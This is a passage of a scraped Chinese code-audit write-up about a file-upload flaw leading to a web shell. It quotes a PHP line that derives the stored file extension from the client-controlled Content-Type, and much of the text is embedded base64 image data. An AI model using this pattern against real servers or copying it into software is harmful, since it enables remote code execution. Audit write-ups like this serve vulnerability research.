Yogmxa3zx9hu88Ol+Oi4j2sLEW98AUYOaXrqiueLHNzOv8RgLmNYW88SLC6iMHMYDP5px1GKuiHi6sPoAMb2GcPrwIXzw8rP8a2Udv/rjnUzMjGp3/azYHCrle1fy+8c+Ouqdid1ii+Kya8+j4PN3+GDVXnRHLOddfTFXnT2GaNeRDyjo81Jb14AncOQqOqMT+cFNN9O332c888YivnjvLbZtP8D9v76Z0xKbZv5bbHbCw8M6vYNPs4YzdMYYkp/5CFtEGuPHZB1+79Dq9wmNjiMmMqzzdpsG2as+4flP9jD96tsZklzbVKcjiasuP50/vvAh7w5M44pJvWUYUAghxLeiy6EqdeAoLrOnt93orePD9xYe7uA5TNHoO3ICs4Yld/hC6xfb+aTmqoJdPPLg32m5S980TUwDFFXh8LQk3U9hlZs+nVVgGuxftZpctwlmKc8+9jjpE87mrh/OYPDkOfyk98RjDv9tXLyQdw42v7TYyOrb7/C7BzatplRNYMSgLFwtI3PldkLsGnVhMYwcPvioNbflZv5jj7HI0XJCBuUFuZjNa1KojlAmzZzMe188y2NPvEnKvdeSGdOUMluv+6WoGtYuTvA+LosFi6ZgeL1E9hrODddfwoRBaXR1tQSLPZRxcy4gq/9A3n77Q+oSx9M34citlEYggMftab72Cnano+3yE/Y0+qRYyD+QjdfMwqEAZgNbtx8kacBFxIV31hCTquxN/PWp94gbegaXzhoEpasPvzt40jzmbdjFOy/Pp1f8bUzse6xeSiGEEKJndDlUxWUNYG7WgLYbG8rYtOzTTkKVSvrAocyddeyJ6i00i4WI+FTOmDeVqOakkL9jJe8uPcjpF85jaErzsJCvkrcXfIpF6/hFG2isZuHn63GFhOAJiWHy6Dje/+Q/PBUdw53nDiY6+Vgt8FO5eRkc7Ow9naXvLeCj4hgefOjXDIrteEbmUZ4noyjtyxo01tej+Y7c/ef2BVuFPYW4PmO485p9/PKZz3lyfgb33TSXKLtJQ0MdpqlhtSrE9Z/EP5+YdKwT6rbxKXdwWVgskfYT69eJyxzAzTLine truncated
|
||||
<h2 id=toc-0>代码审计</h2>
|
||||
<h3 id=toc-1>后台文件上传Getshell(web和小程序)</h3>
|
||||
<p><a id=img1 href=https://xzfile.aliyuncs.com/media/upload/picture/20240301142431-5d8a71ea-d794-1.png><img src="data:image/png;base64,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 truncated
|
||||
<p>尝试上传点随便上传点东西看看上传接口在哪里,虽然报错了但至少知道了源码的位置</p>
|
||||
<p>进行代码分析在/app/webapp/modules/system/actions/uploadImgAction.class.php中结合请求包我们尝试进行debug</p>
|
||||
<p><a id=img2 href=https://xzfile.aliyuncs.com/media/upload/picture/20240301141145-94cce874-d792-1.png><img src="data:image/png;base64,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 truncated
|
||||
<p>在debug过程中发现一个replace语句其中将我们的$_FILES['imgFile']['type']中的image/换成了点,那么我们的 $_FILES['imgFile']['type']为请求包中的Content-Type: application/octet-stream部分</p>
|
||||
<div class=highlight><pre><span></span><span class=err>$</span><span class=nb>type</span> <span class=o>=</span> <span class=n>str_replace</span><span class=p>(</span><span class=s1>'image/'</span><span class=p>,</span> <span class=s1>'.'</span><span class=p>,</span> <span class=err>$</span><span class=n>_FILES</span><span class=p>[</span><span class=s1>'imgFile'</span><span class=p>][</span><span class=s1>'type'</span><span class=p>]);</span>
|
||||
</pre></div>
|
||||
<p><a id=img3 href=https://xzfile.aliyuncs.com/media/upload/picture/20240301141247-b95c5f80-d792-1.png><img src="data:image/png;base64,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